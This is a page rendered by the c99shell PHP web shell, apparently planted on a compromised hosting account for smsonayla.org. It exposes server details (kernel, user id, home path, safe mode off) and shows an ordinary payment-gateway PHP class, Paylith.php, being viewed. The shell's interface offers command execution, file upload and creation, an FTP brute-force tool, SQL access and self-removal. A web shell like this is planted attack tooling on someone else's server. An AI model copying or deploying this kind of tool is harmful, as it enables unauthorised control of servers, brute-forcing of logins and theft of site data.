smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/test/application/libraries/   drwxr-xr-x
Free 3429.57 GB of 4265.01 GB (80.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Paylith.php (2.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
defined
('BASEPATH') or exit('No direct script access allowed');


class 
Paylith
{

    private 
$apiKey$apiSecret;

    public function 
__construct($parameters)
    {
        
$this->apiKey $parameters["api_key"];
        
$this->apiSecret $parameters["api_secret"];
    }

    private function 
generateToken($conversationId$userId$userEmail$userIpAddress$userPhone)
    {
        
$hashStr = [
            
'apiKey' => $this->apiKey,
            
'conversationId' => $conversationId,
            
'userId' => $userId,
            
'userEmail' => $userEmail,
            
'userIpAddress' => $userIpAddress,
            
'userPhone' => $userPhone
        
];

        
ksort($hashStr);

        
$hash hash_hmac('sha256'implode('|'$hashStr) . $this->apiSecret$this->apiKey);
        return 
hash_hmac('md5'$hash$this->apiKey);
    }

    public function 
createProductLink($conversationId$userId$userEmail$userIpAddress$productName$productAmount$userPhone)
    {
        return 
$this->request(
            
'token',
            [
                
'token' => $this->generateToken($conversationId$userId$userEmail$userIpAddress$userPhone),
                
'apiKey' => $this->apiKey,
                
'conversationId' => $conversationId,
                
'userId' => $userId,
                
'userEmail' => $userEmail,
                
'userIpAddress' => $userIpAddress,
                
'userPhone' => $userPhone,
                
'productApi' => true,
                
'productData' => [
                    
'name' => $productName,
                    
'amount' => $productAmount,
                ],
                
'redirectUrl' => base_url()
            ]
        );
    }


    private function 
request($url$data)
    {
        
$curl curl_init("https://api.paylith.com/v1/" $url);
        
curl_setopt($curlCURLOPT_POSTtrue);
        
curl_setopt($curlCURLOPT_POSTFIELDShttp_build_query($data));
        
curl_setopt($curlCURLOPT_RETURNTRANSFERtrue);
        
$response curl_exec($curl);
        
curl_close($curl);
        return 
$response;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0035 ]--